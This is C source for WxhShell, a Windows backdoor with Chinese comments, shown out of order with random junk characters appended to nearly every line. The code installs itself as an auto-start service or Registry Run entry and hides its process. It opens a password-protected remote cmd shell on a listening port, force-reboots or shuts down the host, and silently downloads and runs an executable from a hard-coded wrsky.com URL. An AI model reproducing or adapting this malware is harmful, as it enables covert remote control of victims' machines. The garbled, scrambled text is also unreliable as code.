    if(Boot(SHUTDOWN)) s,"<+80%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nE+sbfC   
    else { <O?iJ=$  
    closesocket(wsh); +e`f|OQ  
    ExitThread(0); x$J1%K*  
    } c#$B;?  
    break; nyi}~sB  
    } |zKe*H/  
  // 获取shell &kHp}\  
  case 's': { LgjL+w19  
    CmdShell(wsh); nY'0*:'u  
    closesocket(wsh); GX&BUP\  
    ExitThread(0); +b.<bb6  
    break; 75r>~@)*  
  } s&iM.[k  
  // 退出 wxkCmrV  
  case 'x': { ]IoJ(4f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V'#dY~E-P  
    CloseIt(wsh); =GL}\I  
    break; m beM/  
    } $/Gvz)M  
  // 离开 Yew n  
  case 'q': { }Xr-xh \v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T(MS,AyD]  
    closesocket(wsh); Jor >YB`X  
    WSACleanup(); 6b~Zv$5^Y-  
    exit(1); $\Bzp<SN`  
    break; wOOBW0tj  
        } yMq&9R9F  
  } .9 mwRYgD  
  } F^ 7qLvh  
h$)(-_c3  
  // 提示信息 yQ}$G ,x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #:s*)(Qn  
} ^ llZf$`  
  } t 9&xk?%{  
E0'+]"B  
  return; J0*hJ-/u  
} 9h> nP8  
OXe+=Lp<  
// shell模块句柄 "+/%s#&  
int CmdShell(SOCKET sock) rL3<r  
{ OSQZ5:g|  
STARTUPINFO si; Umjt~K^Z  
ZeroMemory(&si,sizeof(si)); &)JQ6J_|\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zk4Hs%n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -G e5gQ=  
PROCESS_INFORMATION ProcessInfo; @X4Ur+d  
char cmdline[]="cmd"; #qrZ(,I@n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xf!@uS6<X  
  return 0; 4z#{nZG  
} 11[[Hk X@  
59!yz'feF  
// 自身启动模式 R''nZ/R  
int StartFromService(void) h[ #Lg3  
{ [Oen{c9 A  
typedef struct jWJq[l  
{ n|2`y?  
  DWORD ExitStatus; c[\ :^w^I6  
  DWORD PebBaseAddress; w F6ywr  
  DWORD AffinityMask; XK??5'&{  
  DWORD BasePriority; KY34Sc  
  ULONG UniqueProcessId; r8g4NsRVtv  
  ULONG InheritedFromUniqueProcessId; !l|v O(  
}   PROCESS_BASIC_INFORMATION; -1iKeyyA  
$&~/`MxE  
PROCNTQSIP NtQueryInformationProcess; qX{"R.d  
D X GClH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  %Xs3Lz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oJa6)+b(3  
s3qWTdM  
  HANDLE             hProcess; 28FC@&'H  
  PROCESS_BASIC_INFORMATION pbi; xxkU u6x#  
56gpAc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?3X!  
  if(NULL == hInst ) return 0; @)s;u}H  
y_EkW f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :W]?6=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pm$2*!1F(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sqTBlP  
ASmMj;>UM  
  if (!NtQueryInformationProcess) return 0; ?#; oqH<  
QK _1!t3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N<lejZ}!q  
  if(!hProcess) return 0; L#sw@UCK  
RrrW0<Ed  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r>73IpJI  
U |I>CDp  
  CloseHandle(hProcess); .K`OEdr<  
_G s*4:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HR)Dz~Obw  
if(hProcess==NULL) return 0; Fe 3*pUt  
b`"E(S/  
HMODULE hMod; 79 zFF  
char procName[255]; 5`qt82Qm  
unsigned long cbNeeded; gXr"],OM;  
zogtIn)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s X&.8  
g8^\|  
  CloseHandle(hProcess); &v!=\Fig4  
z_%G{H+:l  
if(strstr(procName,"services")) return 1; // 以服务启动 OLXkiesK{  
/H#- \r&r  
  return 0; // 注册表启动 @L^Fz$Sx  
} y,qP$ 5xiq  
!0ly1T 9  
// 主模块 Bvzu{B%  
int StartWxhshell(LPSTR lpCmdLine) m"Y;GzqQl  
{ B;9"=0  
  SOCKET wsl; :}d`$2Dz  
BOOL val=TRUE; z0J$9hEg89  
  int port=0; ' Cy^G;  
  struct sockaddr_in door; ;\`~M  
x_9<&Aj6  
  if(wscfg.ws_autoins) Install(); `@GqD  
5 e:Urv77  
port=atoi(lpCmdLine); ?wE@9 g A  
| \Nj  
if(port<=0) port=wscfg.ws_port; gLv|Hu7  
T1zft#1~  
  WSADATA data; 9 x WC<i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :T~Aa(%(  
qGMM3a)Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PoMkFG6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~82[pY  
  door.sin_family = AF_INET; $iQ>c6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >}QRMn|@H  
  door.sin_port = htons(port); 'Z2:u!E  
<4jQbY;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D|I(2%aC  
closesocket(wsl); &d`T~fl|  
return 1; cT{iMgdI?  
} @k~?h=o\b  
H e]1 <tx  
  if(listen(wsl,2) == INVALID_SOCKET) { Hv%(9)-8  
closesocket(wsl); Rf@D]+v  
return 1; U -~%-gFC  
} rUfW0  
  Wxhshell(wsl); R_h(Z{d  
  WSACleanup(); /=Ug}%.  
o D;  
return 0; q0WW^jwQ  
KtJE  
} zjgK78!<  
b~06-dk1  
// 以NT服务方式启动 hZnT`!iFE^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #oMbE<//"  
{ /R#-mY  
DWORD   status = 0; ^&<~6y}U^  
  DWORD   specificError = 0xfffffff; P Y +~,T2  
X:-X3mV9{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 43rM?_72  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mm$D1=h{|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #1Mk9sxo  
  serviceStatus.dwWin32ExitCode     = 0; [rqe;00]  
  serviceStatus.dwServiceSpecificExitCode = 0; c 5P52_@  
  serviceStatus.dwCheckPoint       = 0; La%\- o  
  serviceStatus.dwWaitHint       = 0; %u }|4BXoh  
dgssX9g37  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $n `Zvl2  
  if (hServiceStatusHandle==0) return; A(_AOoA'  
uuj"Er31  
status = GetLastError(); V2es.I  
  if (status!=NO_ERROR) ]Oc :x  
{ +C;ZO6%w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .Q"3 [  
    serviceStatus.dwCheckPoint       = 0; ;t%L (J  
    serviceStatus.dwWaitHint       = 0; 1 hZM))  
    serviceStatus.dwWin32ExitCode     = status; ZJ"*A+IJx[  
    serviceStatus.dwServiceSpecificExitCode = specificError; g|<)J-`Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2`5(XpYe  
    return; 4\pA^%73  
  } dQM# -t4*  
:'y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $Fz/&;KX!  
  serviceStatus.dwCheckPoint       = 0; %fP^Fh   
  serviceStatus.dwWaitHint       = 0; uW>AH@Pij  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OpxVy _5,  
} PkDL\Nqe  
hD<z^j+  
// 处理NT服务事件,比如:启动、停止 ]&/jvA=\l,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dMGu9k~u  
{ 8e\a_R*(|  
switch(fdwControl) } Q1$v~  
{ ^'EEry  
case SERVICE_CONTROL_STOP: ^\N2 Iu>6  
  serviceStatus.dwWin32ExitCode = 0; W\.f:"2qr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -D:J$d 6R<  
  serviceStatus.dwCheckPoint   = 0; %h|z)  
  serviceStatus.dwWaitHint     = 0; Byldt  
  { 6FEtq,;0w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DDAqgx  
  } 3kR- WgVF,  
  return; rA=F:N 2  
case SERVICE_CONTROL_PAUSE: pvmm" f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; czMLvPXRx  
  break; );))kYr  
case SERVICE_CONTROL_CONTINUE: XQj`KUO@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fvit+  
  break; =m}{g/Bk  
case SERVICE_CONTROL_INTERROGATE: aF'Ik XG d  
  break; _9n.ir5YX  
}; &}T`[ d_Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D VSYH{U4  
} 2#+@bk>^{  
$ya#-pi`;  
// 标准应用程序主函数 [*}[W6 3v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "#4PU5.  
{ P:*'x9`  
{+C>^b  
// 获取操作系统版本 [j93Mp  
OsIsNt=GetOsVer(); PI?-gc?[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h)y"?Jj  
 h@W}xT  
  // 从命令行安装 kJDMIh|g  
  if(strpbrk(lpCmdLine,"iI")) Install(); e'\I^'`!M  
4uNcp0  
  // 下载执行文件 k ,<L#?,a  
if(wscfg.ws_downexe) { 0.@/I}R[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #h r!7Kc;N  
  WinExec(wscfg.ws_filenam,SW_HIDE); U Ciq'^,  
} 1]hMA\x  
m%Ef]({I  
if(!OsIsNt) { J=\Y4- "  
// 如果时win9x,隐藏进程并且设置为注册表启动 E0)v;yRcw  
HideProc(); ie$=3nZJ}  
StartWxhshell(lpCmdLine); ~!:F'}bj  
} ahV_4;yF  
else (b{ {B$O  
  if(StartFromService()) {.!:T+'Xi\  
  // 以服务方式启动 mDM]RAub)  
  StartServiceCtrlDispatcher(DispatchTable); "jeJV,%  
else -Q$$2QW!  
  // 普通方式启动 8tdUnh%/  
  StartWxhshell(lpCmdLine); "%.#/!RG  
3}h&/KN{  
return 0; a#raUF7e  
} 8AefgjE  
]AHUo;(f%  
x&9 I2"  
<c\aZ9+V  
=========================================== B]Zsn`n  
LG,RF:  
^ 1J;SO|  
n:#ji|wM  
Xp{gh@#dr  
JGO>X|T  
" @{ nT4{  
Vm6^'1CY  
#include <stdio.h> u*9C(je  
#include <string.h> }XXE hOO  
#include <windows.h> k"sL.}$  
#include <winsock2.h> Cog:6Gnw  
#include <winsvc.h> c3 wu&*p{  
#include <urlmon.h> tXp)o >"  
2XI%4  
#pragma comment (lib, "Ws2_32.lib") SA/0Z=  
#pragma comment (lib, "urlmon.lib") ,U2D &{@  
\/$v@5  
#define MAX_USER   100 // 最大客户端连接数 r} ,|kb  
#define BUF_SOCK   200 // sock buffer &pmJ:WO,h  
#define KEY_BUFF   255 // 输入 buffer hqBwA1](a  
|RjjP 7  
#define REBOOT     0   // 重启 R 7{ rY  
#define SHUTDOWN   1   // 关机 :ZzG5[o3  
?&X6VNbU  
#define DEF_PORT   5000 // 监听端口 sP+S86 u  
BFEo:!'F  
#define REG_LEN     16   // 注册表键长度 b uhxC5i%  
#define SVC_LEN     80   // NT服务名长度 ]Ny]Ox<  
I 9u=RI s  
// 从dll定义API Jz|(B_U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xv%}xeE V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RV($G8U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k[zf`x^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?.Kl/8ml  
>eEf|tKO  
// wxhshell配置信息 4o=G) KO{  
struct WSCFG { X'u`\<&W  
  int ws_port;         // 监听端口 |BW956fBU  
  char ws_passstr[REG_LEN]; // 口令 6 XG+YIG6w  
  int ws_autoins;       // 安装标记, 1=yes 0=no -[7.VP   
  char ws_regname[REG_LEN]; // 注册表键名 p5 [uVRZ  
  char ws_svcname[REG_LEN]; // 服务名 -!}1{   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1u` Z?S(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S\X_!|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !l\pwfXP&%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UbYKiLDF)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mr1pRIYMd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :5Vu.\,1  
jxoEOEA  
}; 9z-"JnM  
pTN_6=Y"  
// default Wxhshell configuration zCQv:.0L  
struct WSCFG wscfg={DEF_PORT, TxiJ?sDh*  
    "xuhuanlingzhe", DBv5Og  
    1, Th8Q ~*v  
    "Wxhshell", L*l( ~t)vF  
    "Wxhshell", S_QDYnF)`  
            "WxhShell Service", t^[{8,N  
    "Wrsky Windows CmdShell Service", L{Th>]X  
    "Please Input Your Password: ", awawq9)Y  
  1, *CG2sAeB  
  "http://www.wrsky.com/wxhshell.exe", [Ytia#Vv  
  "Wxhshell.exe" H}$#aXEAn  
    }; _9-Ajv  
]I]dwi_g)  
// 消息定义模块 _ <~05Eh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '0=U+Egp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4 '+)9&g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~W#f,mf  
char *msg_ws_ext="\n\rExit."; $K iMu  
char *msg_ws_end="\n\rQuit."; kQb0pfYs  
char *msg_ws_boot="\n\rReboot..."; QxkfP%_g  
char *msg_ws_poff="\n\rShutdown..."; :C&?(HJ&r  
char *msg_ws_down="\n\rSave to ";  [:k'VXL  
_m&VdIPO  
char *msg_ws_err="\n\rErr!"; zZRqb/20  
char *msg_ws_ok="\n\rOK!"; j[HKC0C6  
6RF01z|~_  
char ExeFile[MAX_PATH]; ENmo^O#,u  
int nUser = 0; e}?t[aK4#  
HANDLE handles[MAX_USER]; ~\/ J&  
int OsIsNt; y#MLxm  
a=J?[qrx  
SERVICE_STATUS       serviceStatus; C VUDN2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s,}<5N]U  
sDF J  
// 函数声明 YU"Am !  
int Install(void); 226s:\d  
int Uninstall(void); &l.^UQ   
int DownloadFile(char *sURL, SOCKET wsh); @<2pYIi 8  
int Boot(int flag); *p-Fn$7\n  
void HideProc(void); }Q%>Fv  
int GetOsVer(void); L=p.@VSZ  
int Wxhshell(SOCKET wsl); +-Dd*yD6<  
void TalkWithClient(void *cs); c`>\R<Z ]  
int CmdShell(SOCKET sock); xvkof 'Q)  
int StartFromService(void); dOhV`8l  
int StartWxhshell(LPSTR lpCmdLine); -`RJ k(  
Y!`?q8z$G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V.4j?\#%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y >OZ<!`  
MPB6  
// 数据结构和表定义 zZxP= c  
SERVICE_TABLE_ENTRY DispatchTable[] = T'V(%\w  
{ }J*&()`  
{wscfg.ws_svcname, NTServiceMain}, )_=&)a1U  
{NULL, NULL} oY] VP+b!  
}; 7Y)wu$!7}  
,VZ&Gc  
// 自我安装 . 9 NS  
int Install(void) 1t0F J@)*  
{ D;L :a`Y  
  char svExeFile[MAX_PATH]; TM}F9!*je  
  HKEY key; D6vn3*,&  
  strcpy(svExeFile,ExeFile); 7^; OjO@8  
d#*5U9\z  
// 如果是win9x系统,修改注册表设为自启动 Z^|C~lp;n  
if(!OsIsNt) { ArEpH"}@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `8-aHPF-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6?lg 6a/eO  
  RegCloseKey(key); rNAu@B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J'EK5=H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M;9+L&p=  
  RegCloseKey(key); =6dKC_Q  
  return 0; 0 mQ3P.9  
    } HB}gn2 .1&  
  } $7r wara  
} `SW " RLS3  
else { KCFwO'  
mx[^LaR>v  
// 如果是NT以上系统,安装为系统服务 o`U\Nhq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VB#31T#q?  
if (schSCManager!=0) g5Vr2  
{ @Otc$hj  
  SC_HANDLE schService = CreateService KC u6:)6'  
  ( ^ZlV1G;/W@  
  schSCManager, Rf^cw}jU  
  wscfg.ws_svcname, nsp K.*?  
  wscfg.ws_svcdisp, JXAyF6 $  
  SERVICE_ALL_ACCESS, zJ:r0Bt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c-T ^ aR  
  SERVICE_AUTO_START, gh}AD1TN]  
  SERVICE_ERROR_NORMAL, >(rB[ZJ  
  svExeFile, ^;3rdBprm  
  NULL, _HK& KY  
  NULL, l!  y _P  
  NULL, D5>~'N3b  
  NULL, *N r|G61  
  NULL Fdw[CYHz  
  ); ."X~?Nk  
  if (schService!=0) xdM#>z`;  
  { =Q}mJs  
  CloseServiceHandle(schService); h%s  
  CloseServiceHandle(schSCManager); h6e$$-_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rsv!mY,Em  
  strcat(svExeFile,wscfg.ws_svcname); 713M4CtJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qlJOb}$ I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lnWi E}F  
  RegCloseKey(key); [8P2V  
  return 0; xW9 s[X  
    } XgKG\C=3  
  } WS/+Yl  
  CloseServiceHandle(schSCManager); f5 %&  
} =)YYx8gR  
} 'lk74qU$  
ss{=::#  
return 1; uq%3;#[0  
} Nj_sU0Dt  
C<t>m_t9  
// 自我卸载 m#$za7  
int Uninstall(void) }?J5!X  
{ A4FDR#  
  HKEY key; emB D@r  
-ikuj  
if(!OsIsNt) { :"^< aLj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PL$F;d  
  RegDeleteValue(key,wscfg.ws_regname); UMwMXmZNJ  
  RegCloseKey(key); .4W>9 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P i!r}m  
  RegDeleteValue(key,wscfg.ws_regname); )hW {>Y3x  
  RegCloseKey(key); }.) 43(>]  
  return 0; 4_I{Q^f  
  } ^(JHRH~=h  
} .GN$H>')  
} Wky STc  
else { >Ron+ oe  
r)]CZ])  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Du13i4].&  
if (schSCManager!=0) Qsxkw  
{ &[Zap6]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h;p%EZ  
  if (schService!=0) |K;Txe_  
  { %OW9cqL>l  
  if(DeleteService(schService)!=0) { Yb3f]4EH  
  CloseServiceHandle(schService); p}DF$k%`  
  CloseServiceHandle(schSCManager); xO-U]%oq  
  return 0; +7< >x-+  
  } ]MLLr'6?  
  CloseServiceHandle(schService); y6Epi|8  
  } {dx /p-Tv  
  CloseServiceHandle(schSCManager); 0o$HC86w  
} wv.Ul rpx.  
} s]vJUC,s  
Sje0:;;|  
return 1; HL}~W}!j  
} % rY8  
>^f)|0dn)E  
// 从指定url下载文件 .S'fM]_#  
int DownloadFile(char *sURL, SOCKET wsh) ]|t.wr3AU  
{ E:4P1,%01+  
  HRESULT hr; s!/holu  
char seps[]= "/"; XH:gQ9FD  
char *token; if[o?6U4t  
char *file; 4_762Gu%  
char myURL[MAX_PATH]; MupW=3.38  
char myFILE[MAX_PATH]; C$td{tM  
7;}3{z  
strcpy(myURL,sURL); Y-3[KHD  
  token=strtok(myURL,seps); L^Q+Q)zTh  
  while(token!=NULL) ,Q=)$ `%  
  { Eh@T W%9*  
    file=token; + lB+|yJ+  
  token=strtok(NULL,seps); +#uNQ`1v  
  } )*K<;WI WH  
b({Nf,(a2  
GetCurrentDirectory(MAX_PATH,myFILE); RD$tc~@UB  
strcat(myFILE, "\\"); >@^yj+k  
strcat(myFILE, file); "-Q Rkif  
  send(wsh,myFILE,strlen(myFILE),0); >6[ X }  
send(wsh,"...",3,0); zRy5,,i5=[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ( OyY_`  
  if(hr==S_OK) f>)Tq'  
return 0; QPe9s[Y  
else ]fADaw-R  
return 1; .5!sOOs$P  
QI#*5zm  
} (}FW])y  
V4eng "  
// 系统电源模块 v*H &F   
int Boot(int flag) h*#2bS~nl-  
{ ,t%\0[{/B  
  HANDLE hToken; 8PoHBOxpc  
  TOKEN_PRIVILEGES tkp; F!)M<8jL&9  
14r Vb2^  
  if(OsIsNt) { .:Bwa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zyZok*s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "37@Zt  
    tkp.PrivilegeCount = 1; {yHB2=nI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0^&(u:~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RO%tuU,-  
if(flag==REBOOT) { K=c=/`E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c8-69hb?  
  return 0; sWsG,v_  
} ;<kZfx  
else { A3MZxu=':3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1<W4>~,wj  
  return 0; ,qe]fo >  
} 5BU%%fBJ.  
  } Ig02M_  
  else { =XMD+  
if(flag==REBOOT) { hJ;f1dZ7}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s!@=rq  
  return 0; d=t}T6.|  
} sb}K%-  
else { (ET ;LH3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @.Z[M  
  return 0; +~w?Xw,  
} <V$Y6(uMs  
} :dY.D|j*  
f@! fW&  
return 1; i'W_;Y}  
} FDF3zzP0  
<.r ]dCf  
// win9x进程隐藏模块 qe5tcv}u  
void HideProc(void) stg30><  
{ >'} Y1_S5  
[y|^P\D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T_@[k  
  if ( hKernel != NULL ) p.rdSv(8'  
  { mUrS &&fu8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?iPZsV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /nC{)s?S'  
    FreeLibrary(hKernel); p}YI#f in/  
  } #Mj$o;SX  
,7^d9v3t  
return; r,2Xu  
} "x#]i aDjf  
L_THU4^j  
// 获取操作系统版本 gp~yt0AU  
int GetOsVer(void) v8=?HUDd  
{ {{V ;:+62  
  OSVERSIONINFO winfo; });cX$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^))PCn_zb  
  GetVersionEx(&winfo); u}K5/hC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MzEm*`<  
  return 1; HGO#e  
  else !,cQ'*<W8-  
  return 0; Z/2,al\  
} 3]O`[P,*%  
IL~]m?'V(  
// 客户端句柄模块 P0%N Q1bn  
int Wxhshell(SOCKET wsl) n-b>m7O(  
{ k{gl^  
  SOCKET wsh; k $e D(cW$  
  struct sockaddr_in client; y z[%MXI  
  DWORD myID; +1otn~(E  
Nb~,`bu,2  
  while(nUser<MAX_USER) + ,@ FxZl  
{ {0is wq'J  
  int nSize=sizeof(client); &$mZ?%^C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Op`I;Q #%d  
  if(wsh==INVALID_SOCKET) return 1; e Wb0^8_  
xS= _yO9-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <8u>_o6  
if(handles[nUser]==0) o3Mf:;2cC  
  closesocket(wsh); BZovtm3 E  
else k$ZRZ{ E+  
  nUser++; )Rjb/3*!  
  } @v>l[6]>^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mw/?wtW  
vuYO\u+ud  
  return 0; N]B)Fb  
} VZ\O9lD  
^oS$>6|  
// 关闭 socket v1 LKU  
void CloseIt(SOCKET wsh) OENzG~  
{ Y\.-v\uJu  
closesocket(wsh); r?fH &u  
nUser--; h/,R{A2mO  
ExitThread(0); u@<Pu@?xm  
} :lUX5j3  
nN>J*02(  
// 客户端请求句柄 %b=Y <v  
void TalkWithClient(void *cs) cNe0x2Z$?  
{ h,^BC^VU9-  
u3U4UK  
  SOCKET wsh=(SOCKET)cs; 30D: ZmlY  
  char pwd[SVC_LEN]; !n|#|.0m  
  char cmd[KEY_BUFF]; EJ1Bq>u7  
char chr[1]; ARPKzF`Wq  
int i,j; cppL0myJ  
7$!yfMttu  
  while (nUser < MAX_USER) { z8IPhE@  
^;.T}c%N  
if(wscfg.ws_passstr) { 3pB}2]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8EOh0gk7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GxxDY]!  
  //ZeroMemory(pwd,KEY_BUFF); ~|h lE z  
      i=0; ful#Px6m  
  while(i<SVC_LEN) { FC6xFg^  
d:A}CBTSY  
  // 设置超时 WrNLGkt  
  fd_set FdRead; Nwgu P  
  struct timeval TimeOut; KacR?Al  
  FD_ZERO(&FdRead);  Do|]eD  
  FD_SET(wsh,&FdRead); y<TOqn  
  TimeOut.tv_sec=8; <3b'm*  
  TimeOut.tv_usec=0; k^z0Lo|)'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =4eUAeH {w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >QXzMN}o  
_IWxYp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2d-{Q 8Pi  
  pwd=chr[0]; cgyp5\*>+  
  if(chr[0]==0xd || chr[0]==0xa) { K4 C ^m|e  
  pwd=0; |pJC:woq  
  break; ',GV6kt_k  
  } o7.e'1@  
  i++; $*k)|4  
    } ^ oYPyk`9  
%;7.9%  
  // 如果是非法用户,关闭 socket z 5'ZN+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X/l;s  
} o+NMA (  
mb&lCd ^-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y,Jh@n';|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k0L] R5W  
%Uy%kN_&  
while(1) { Y(_KizBY  
E!zX)|Z<  
  ZeroMemory(cmd,KEY_BUFF); yMb|I~k  
e&0K;yU  
      // 自动支持客户端 telnet标准   $xT1 1 ^  
  j=0; D|l,08n"?  
  while(j<KEY_BUFF) { r4u z} jl{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X1oGp+&  
  cmd[j]=chr[0]; Oa! m  
  if(chr[0]==0xa || chr[0]==0xd) { |m)kN2w  
  cmd[j]=0; K/^ +eoW(  
  break; t0q_>T-kt  
  } OiF{3ae(  
  j++; i\)3l%AK]T  
    } Ql8bt77eI-  
);Z]SGd  
  // 下载文件 Ry?4h\UX5  
  if(strstr(cmd,"http://")) { e # 5BPI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P>(P2~$Y"  
  if(DownloadFile(cmd,wsh)) *:g_'K"+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gyev5txn  
  else Z, T#,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rFey4zzz  
  } eCWPhB 6l  
